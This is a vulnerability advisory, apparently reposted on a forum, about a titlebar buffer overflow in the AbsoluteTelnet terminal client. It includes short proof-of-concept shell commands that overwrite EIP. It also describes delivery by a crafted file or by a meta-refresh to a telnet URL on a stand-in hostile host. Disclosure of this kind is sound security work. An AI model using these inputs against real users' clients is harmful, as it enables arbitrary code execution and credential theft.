If this is your first visit, be sure to
check out the FAQ by clicking the
link above. You may have to register
before you can post: click the register link above to proceed. To start viewing messages,
select the forum that you want to visit from the selection below.

Vulnerability: AbsoluteTelnet 2.00 buffer overflow

Insufficient bounds checking in the code that sets the programs titlebar leads to execution of arbitrary code.

I. BACKGROUND

Celestial software's AbsoluteTelnet is "the ultimate terminal client, it provides the most rock-solid emulations, the best security, and the fastest throughput of all terminal clients, along with unrelenting performance and stellar features"

Insufficient bounds checking in the code that sets the programs titlebar leads to execution of arbitrary code. The following will reproduce the problem/set EIP to 0x0:

export KNUD=`perl -e 'print "A" x 174'`
echo -ne "\033]0;$KNUD\007"

and the following will set EBP/EIP to 0x41414141, hence allowing the execution of attacker-supplied code.

export KNUD=`perl -e 'print "A" x 296'`
echo -ne "\033]0;$KNUD\007"

III. ANALYSIS

A user able to entice the victim to 'cat' a file will be able to perform this attack. AbsoluteTelnet may furthermore be selected as the "default telnet client", which will enable an attacker to exploit this via amongst other means, a meta refresh such as <META HTTP-EQUIV="Refresh" CONTENT="0;URL=telnet://hostile.serv.er">;.

Furthermore the ssh login/password is kept in plaintext in memory throughout the entire session, which might enable the attacker to recover this as well.

IV. DETECTION

AbsoluteTelnet 2.00 is vulnerable.
AbsoluteTelnet 2.11 is vulnerable, but the buffer gets converted to unicode before the register overwrite, which hinders exploitation a bit.